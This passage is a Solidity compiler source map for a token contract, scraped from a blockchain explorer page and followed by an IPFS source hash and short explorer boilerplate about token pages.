:26:0;;;10700:4;;10679:26;;10621:84;:105;;;;-1:-1:-1;10722:4:0;;-1:-1:-1;;;;;10709:17:0;;;10722:4;;10709:17;;10621:105;:137;;;;-1:-1:-1;10743:15:0;;-1:-1:-1;;;;;10730:28:0;;;10743:15;;10730:28;;10621:137;:168;;;;-1:-1:-1;;;;;;10763:26:0;;;;;;:15;:26;;;;;;;;10762:27;10621:168;10617:360;;;-1:-1:-1;;;;;8386:18:0;;10805;8386;;;:9;:18;;;;;;10894:15;;10870:19;10883:6;8386:18;10870:19;:::i;:::-;10869:40;;10861:114;;;;-1:-1:-1;;;10861:114:0;;11771:2:1;10861:114:0;;;11753:21:1;11810:2;11790:18;;;11783:30;11849:34;11829:18;;;11822:62;11920:32;11900:18;;;11893:60;11970:19;;10861:114:0;11569:426:1;10861:114:0;10790:187;10617:360;11030:28;11043:6;11051;11030:12;:28::i;:::-;11075:16;:14;:16::i;:::-;11072:35;;;11094:10;:8;:10::i;:::-;11187:53;;;;;;;;;;;-1:-1:-1;;;11187:53:0;;;;;;;;-1:-1:-1;;;;;11187:17:0;;-1:-1:-1;11187:17:0;;;:9;:17;;;;;;;;:53;;11209:6;;11187:21;:53::i;:::-;-1:-1:-1;;;;;11167:17:0;;;;;;:9;:17;;;;;;;;:73;;;;12172:11;:19;;;;;;;;12171:20;11279:22;:51;;;-1:-1:-1;;;;;;12172:19:0;;12147:4;12172:19;;;:11;:19;;;;;;;;12171:20;11305:25;11279:51;11278:118;;11380:4;;11343:53;;11351:6;;11359;;-1:-1:-1;;;;;11367:17:0;;;11380:4;;11367:17;:9;11343:7;:53::i;:::-;11278:118;;;11334:6;11278:118;-1:-1:-1;;;;;11430:20:0;;;;;;:9;:20;;;;;;11253:143;;-1:-1:-1;11430:40:0;;11253:143;11430:24;:40::i;:::-;-1:-1:-1;;;;;11407:20:0;;;;;;;:9;:20;;;;;;;:63;;;;11488:43;;;;;;-1:-1:-1;;;;;;;;;;;11488:43:0;;;11516:14;160:25:1;;148:2;133:18;;14:177;11488:43:0;;;;;;;;-1:-1:-1;11549:4:0;;10162:1399;-1:-1:-1;;;;10162:1399:0:o;324:136::-;382:7;409:43;413:1;416;409:43;;;;;;;;;;;;;;;;;:3;:43::i;137:181::-;195:7;;227:5;231:1;227;:5;:::i;:::-;215:17;;256:1;251;:6;;243:46;;;;-1:-1:-1;;;243:46:0;;12202:2:1;243:46:0;;;12184:21:1;12241:2;12221:18;;;12214:30;12280:29;12260:18;;;12253:57;12327:18;;243:46:0;12000:351:1;1058:189:0;1144:7;1179:12;1172:5;1164:28;;;;-1:-1:-1;;;1164:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1203:9:0;1215:5;1219:1;1215;:5;:::i;11911:166::-;12008:12;;11998:6;:22;;:49;;;-1:-1:-1;;;;;;12024:23:0;;;;;;:15;:23;;;;;;;;11998:49;11990:79;;;;-1:-1:-1;;;11990:79:0;;12558:2:1;11990:79:0;;;12540:21:1;12597:2;12577:18;;;12570:30;-1:-1:-1;;;12616:18:1;;;12609:47;12673:18;;11990:79:0;12356:341:1;11990:79:0;11911:166;;:::o;13118:197::-;13205:4;;13167;;-1:-1:-1;;;;;13205:4:0;13191:10;:18;;;;:38;;-1:-1:-1;13223:6:0;;;;13222:7;13191:38;:62;;;;-1:-1:-1;13242:11:0;;-1:-1:-1;;;13242:11:0;;;;13191:62;:116;;;;-1:-1:-1;;13294:13:0;;13284:4;13266:24;;;;:9;:24;;;;;;:41;;;13118:197::o;14219:1873::-;6691:6;:13;;-1:-1:-1;;6691:13:0;6700:4;6691:13;;;14314:15:::1;::::0;14331:26:::1;::::0;6691:6;;14298:60:::1;::::0;:15:::1;:60::i;:::-;:79;;14365:12;;14298:79;;;14361:1;14298:79;14268:109;;14388:23;14414:59;14471:1;14414:52;14457:8;;14414:38;14432:19;14414:13;;:17;;:38;;;;:::i;:59::-;14388:85;;14484:20;14507:34;14525:15;14507:13;;:17;;:34;;;;:::i;:::-;14578:16;::::0;;14592:1:::1;14578:16:::0;;;;;::::1;::::0;;14484:57;;-1:-1:-1;14554:21:0::1;::::0;14578:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;14578:16:0::1;14554:40;;14623:4;14605;14610:1;14605:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14605:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;14649:4:::1;::::0;14639:7;;14649:4;::::1;::::0;14639;;14649;;14639:7;::::1;;;;;:::i;:::-;-1:-1:-1::0;;;;;14639:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;:14;14724:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;14724:188:0;;14690:21:::1;::::0;14724:6;;;::::1;::::0;:57:::1;::::0;:188:::1;::::0;14796:12;;14666:21:::1;::::0;14839:4;;14866::::1;::::0;14886:15:::1;::::0;14724:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;14925:17;14945:40;14971:13;14945:21;:25;;:40;;;;:::i;:::-;14925:60:::0;-1:-1:-1;14998:19:0::1;15020:40;15033:26;:19:::0;15057:1:::1;15033:23;:26::i;:::-;15020:8;::::0;;:12:::1;:40::i;:::-;14998:62:::0;-1:-1:-1;15081:26:0::1;15110:58;15166:1;15110:51;14998:62:::0;15110:51;:9;15124:19;15110:13:::1;:34::i;:58::-;15081:87;;15179:26;15208:44;15240:11;15208:27;15222:12;;15208:9;:13;;:27;;;;:::i;:44::-;15179:73;;15263:24;15290:42;15320:11;15290:25;15304:10;;15290:9;:13;;:25;;;;:::i;:42::-;15263:69;;15343:20;15366:38;15392:11;15366:21;15380:6;;15366:9;:13;;:21;;;;:::i;:38::-;15446:20;::::0;15438:65:::1;::::0;15343:61;;-1:-1:-1;15418:15:0::1;::::0;-1:-1:-1;;;;;15446:20:0;;::::1;::::0;15480:18;;15418:15;15438:65;15418:15;15438:65;15480:18;15446:20;15438:65:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;15538:14:0::1;::::0;15530:53:::1;::::0;15417:86;;-1:-1:-1;;;;;;15538:14:0::1;::::0;15566:12;;15530:53:::1;::::0;;;15566:12;15538:14;15530:53:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;15618:18:0::1;::::0;15610:61:::1;::::0;15514:69;;-1:-1:-1;;;;;;15618:18:0::1;::::0;15650:16;;15610:61:::1;::::0;;;15650:16;15618:18;15610:61:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;15705:5:0::1;::::0;-1:-1:-1;;15726:19:0;;;-1:-1:-1;15723:362:0::1;;15761:6;::::0;15935:21:::1;::::0;15761:244:::1;::::0;-1:-1:-1;;;15761:244:0;;15837:4:::1;15761:244;::::0;::::1;14370:34:1::0;14420:18;;;14413:34;;;15761:6:0::1;14463:18:1::0;;;14456:34;;;14506:18;;;14499:34;-1:-1:-1;;;;;15935:21:0;;::::1;14549:19:1::0;;;14542:44;15975:15:0::1;14602:19:1::0;;;14595:35;15761:6:0;::::1;::::0;:22:::1;::::0;15791:18;;14304:19:1;;15761:244:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;16025:48:0::1;::::0;;15126:25:1;;;15182:2;15167:18;;15160:34;;;16025:48:0::1;::::0;-1:-1:-1;15099:18:1;16025:48:0::1;;;;;;;15723:362;-1:-1:-1::0;;6709:6:0;:14;;-1:-1:-1;;6709:14:0;;;-1:-1:-1;;;;;;;;;;14219:1873:0:o;12207:903::-;12305:7;12335:18;12356:6;:29;;12382:3;12356:29;;;12365:14;;12356:29;12399:10;;12335:50;;-1:-1:-1;12399:10:0;;:35;;;;-1:-1:-1;;;;;;12414:20:0;;;;;;:10;:20;;;;;;;;12413:21;12399:35;:46;;;;;12439:6;12438:7;12399:46;12396:94;;;-1:-1:-1;12474:4:0;12396:94;12502:17;12522:62;12563:14;;12580:3;12563:20;;;;:::i;:::-;12522:36;12547:10;12522:20;12533:8;;12522:6;:10;;:20;;;;:::i;:62::-;12502:82;;12595:18;12616:36;12643:8;;12616:22;12630:7;;12616:9;:13;;:22;;;;:::i;:36::-;12595:57;-1:-1:-1;12663:22:0;12688:25;:9;12595:57;12688:13;:25::i;:::-;12771:4;12753:24;;;;:9;:24;;;;;;12663:50;;-1:-1:-1;12753:44:0;;12663:50;12753:28;:44::i;:::-;12744:4;12726:24;;;;:9;:24;;;;;;:71;;;;12847:15;;-1:-1:-1;;;;;12847:15:0;12837:26;;;;:42;;12868:10;12837:30;:42::i;:::-;12818:15;;-1:-1:-1;;;;;12818:15:0;;;12808:26;;;;:9;:26;;;;;;;;;:71;;;;12895:47;160:25:1;;;12920:4:0;;12895:47;;;;-1:-1:-1;;;;;;;;;;;12895:47:0;133:18:1;12895:47:0;;;;;;;12966:14;;12963:99;;13018:15;;13001:45;;160:25:1;;;-1:-1:-1;;;;;13018:15:0;;;;13001:45;;;-1:-1:-1;;;;;;;;;;;13001:45:0;148:2:1;133:18;13001:45:0;;;;;;;12963:99;13081:21;:6;13092:9;13081:10;:21::i;:::-;13074:28;12207:903;-1:-1:-1;;;;;;;;;12207:903:0:o;196:131:1:-;-1:-1:-1;;;;;271:31:1;;261:42;;251:70;;317:1;314;307:12;332:247;391:6;444:2;432:9;423:7;419:23;415:32;412:52;;;460:1;457;450:12;412:52;499:9;486:23;518:31;543:5;518:31;:::i;776:118::-;862:5;855:13;848:21;841:5;838:32;828:60;;884:1;881;874:12;899:750;991:6;999;1007;1060:2;1048:9;1039:7;1035:23;1031:32;1028:52;;;1076:1;1073;1066:12;1028:52;1116:9;1103:23;1145:18;1186:2;1178:6;1175:14;1172:34;;;1202:1;1199;1192:12;1172:34;1240:6;1229:9;1225:22;1215:32;;1285:7;1278:4;1274:2;1270:13;1266:27;1256:55;;1307:1;1304;1297:12;1256:55;1347:2;1334:16;1373:2;1365:6;1362:14;1359:34;;;1389:1;1386;1379:12;1359:34;1444:7;1437:4;1427:6;1424:1;1420:14;1416:2;1412:23;1408:34;1405:47;1402:67;;;1465:1;1462;1455:12;1402:67;1496:4;1488:13;;;;-1:-1:-1;1520:6:1;-1:-1:-1;;1561:20:1;;1548:34;1591:28;1548:34;1591:28;:::i;:::-;1638:5;1628:15;;;899:750;;;;;:::o;1654:597::-;1766:4;1795:2;1824;1813:9;1806:21;1856:6;1850:13;1899:6;1894:2;1883:9;1879:18;1872:34;1924:1;1934:140;1948:6;1945:1;1942:13;1934:140;;;2043:14;;;2039:23;;2033:30;2009:17;;;2028:2;2005:26;1998:66;1963:10;;1934:140;;;2092:6;2089:1;2086:13;2083:91;;;2162:1;2157:2;2148:6;2137:9;2133:22;2129:31;2122:42;2083:91;-1:-1:-1;2235:2:1;2214:15;-1:-1:-1;;2210:29:1;2195:45;;;;2242:2;2191:54;;1654:597;-1:-1:-1;;;1654:597:1:o;2256:315::-;2324:6;2332;2385:2;2373:9;2364:7;2360:23;2356:32;2353:52;;;2401:1;2398;2391:12;2353:52;2440:9;2427:23;2459:31;2484:5;2459:31;:::i;:::-;2509:5;2561:2;2546:18;;;;2533:32;;-1:-1:-1;;;2256:315:1:o;2576:180::-;2635:6;2688:2;2676:9;2667:7;2663:23;2659:32;2656:52;;;2704:1;2701;2694:12;2656:52;-1:-1:-1;2727:23:1;;2576:180;-1:-1:-1;2576:180:1:o;2761:248::-;2829:6;2837;2890:2;2878:9;2869:7;2865:23;2861:32;2858:52;;;2906:1;2903;2896:12;2858:52;-1:-1:-1;;2929:23:1;;;2999:2;2984:18;;;2971:32;;-1:-1:-1;2761:248:1:o;3014:813::-;3109:6;3117;3125;3133;3141;3194:3;3182:9;3173:7;3169:23;3165:33;3162:53;;;3211:1;3208;3201:12;3162:53;3250:9;3237:23;3269:31;3294:5;3269:31;:::i;:::-;3319:5;-1:-1:-1;3376:2:1;3361:18;;3348:32;3389:33;3348:32;3389:33;:::i;:::-;3441:7;-1:-1:-1;3500:2:1;3485:18;;3472:32;3513:33;3472:32;3513:33;:::i;:::-;3565:7;-1:-1:-1;3624:2:1;3609:18;;3596:32;3637:33;3596:32;3637:33;:::i;:::-;3689:7;-1:-1:-1;3748:3:1;3733:19;;3720:33;3762;3720;3762;:::i;:::-;3814:7;3804:17;;;3014:813;;;;;;;;:::o;3832:456::-;3909:6;3917;3925;3978:2;3966:9;3957:7;3953:23;3949:32;3946:52;;;3994:1;3991;3984:12;3946:52;4033:9;4020:23;4052:31;4077:5;4052:31;:::i;:::-;4102:5;-1:-1:-1;4159:2:1;4144:18;;4131:32;4172:33;4131:32;4172:33;:::i;:::-;3832:456;;4224:7;;-1:-1:-1;;;4278:2:1;4263:18;;;;4250:32;;3832:456::o;4482:382::-;4547:6;4555;4608:2;4596:9;4587:7;4583:23;4579:32;4576:52;;;4624:1;4621;4614:12;4576:52;4663:9;4650:23;4682:31;4707:5;4682:31;:::i;:::-;4732:5;-1:-1:-1;4789:2:1;4774:18;;4761:32;4802:30;4761:32;4802:30;:::i;:::-;4851:7;4841:17;;;4482:382;;;;;:::o;4869:523::-;4973:6;4981;4989;4997;5005;5013;5066:3;5054:9;5045:7;5041:23;5037:33;5034:53;;;5083:1;5080;5073:12;5034:53;-1:-1:-1;;5106:23:1;;;5176:2;5161:18;;5148:32;;-1:-1:-1;5227:2:1;5212:18;;5199:32;;5278:2;5263:18;;5250:32;;-1:-1:-1;5329:3:1;5314:19;;5301:33;;-1:-1:-1;5381:3:1;5366:19;5353:33;;-1:-1:-1;4869:523:1;-1:-1:-1;4869:523:1:o;5605:241::-;5661:6;5714:2;5702:9;5693:7;5689:23;5685:32;5682:52;;;5730:1;5727;5720:12;5682:52;5769:9;5756:23;5788:28;5810:5;5788:28;:::i;5851:388::-;5919:6;5927;5980:2;5968:9;5959:7;5955:23;5951:32;5948:52;;;5996:1;5993;5986:12;5948:52;6035:9;6022:23;6054:31;6079:5;6054:31;:::i;:::-;6104:5;-1:-1:-1;6161:2:1;6146:18;;6133:32;6174:33;6133:32;6174:33;:::i;6244:309::-;6309:6;6317;6370:2;6358:9;6349:7;6345:23;6341:32;6338:52;;;6386:1;6383;6376:12;6338:52;6425:9;6412:23;6444:28;6466:5;6444:28;:::i;7044:329::-;7246:2;7228:21;;;7285:1;7265:18;;;7258:29;-1:-1:-1;;;7318:2:1;7303:18;;7296:36;7364:2;7349:18;;7044:329::o;7378:127::-;7439:10;7434:3;7430:20;7427:1;7420:31;7470:4;7467:1;7460:15;7494:4;7491:1;7484:15;7510:127;7571:10;7566:3;7562:20;7559:1;7552:31;7602:4;7599:1;7592:15;7626:4;7623:1;7616:15;7642:135;7681:3;7702:17;;;7699:43;;7722:18;;:::i;:::-;-1:-1:-1;7769:1:1;7758:13;;7642:135::o;8193:184::-;8263:6;8316:2;8304:9;8295:7;8291:23;8287:32;8284:52;;;8332:1;8329;8322:12;8284:52;-1:-1:-1;8355:16:1;;8193:184;-1:-1:-1;8193:184:1:o;8382:335::-;8584:2;8566:21;;;8623:2;8603:18;;;8596:30;-1:-1:-1;;;8657:2:1;8642:18;;8635:41;8708:2;8693:18;;8382:335::o;8722:168::-;8762:7;8828:1;8824;8820:6;8816:14;8813:1;8810:21;8805:1;8798:9;8791:17;8787:45;8784:71;;;8835:18;;:::i;:::-;-1:-1:-1;8875:9:1;;8722:168::o;8895:217::-;8935:1;8961;8951:132;;9005:10;9000:3;8996:20;8993:1;8986:31;9040:4;9037:1;9030:15;9068:4;9065:1;9058:15;8951:132;-1:-1:-1;9097:9:1;;8895:217::o;9396:245::-;9463:6;9516:2;9504:9;9495:7;9491:23;9487:32;9484:52;;;9532:1;9529;9522:12;9484:52;9564:9;9558:16;9583:28;9605:5;9583:28;:::i;10621:125::-;10661:4;10689:1;10686;10683:8;10680:34;;;10694:18;;:::i;:::-;-1:-1:-1;10731:9:1;;10621:125::o;11436:128::-;11476:3;11507:1;11503:6;11500:1;11497:13;11494:39;;;11513:18;;:::i;:::-;-1:-1:-1;11549:9:1;;11436:128::o;12834:980::-;13096:4;13144:3;13133:9;13129:19;13175:6;13164:9;13157:25;13201:2;13239:6;13234:2;13223:9;13219:18;13212:34;13282:3;13277:2;13266:9;13262:18;13255:31;13306:6;13341;13335:13;13372:6;13364;13357:22;13410:3;13399:9;13395:19;13388:26;;13449:2;13441:6;13437:15;13423:29;;13470:1;13480:195;13494:6;13491:1;13488:13;13480:195;;;13559:13;;-1:-1:-1;;;;;13555:39:1;13543:52;;13650:15;;;;13615:12;;;;13591:1;13509:9;13480:195;;;-1:-1:-1;;;;;;;13731:32:1;;;;13726:2;13711:18;;13704:60;-1:-1:-1;;;13795:3:1;13780:19;13773:35;13692:3;12834:980;-1:-1:-1;;;12834:980:1:o;14641:306::-;14729:6;14737;14745;14798:2;14786:9;14777:7;14773:23;14769:32;14766:52;;;14814:1;14811;14804:12;14766:52;14843:9;14837:16;14827:26;;14893:2;14882:9;14878:18;14872:25;14862:35;;14937:2;14926:9;14922:18;14916:25;14906:35;;14641:306;;;;;:::o

Swarm Source

ipfs://2086cf325d19eb562dd3a5a7a3b28532d2230f81c08fa66168fdf6e7a9fb34c3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.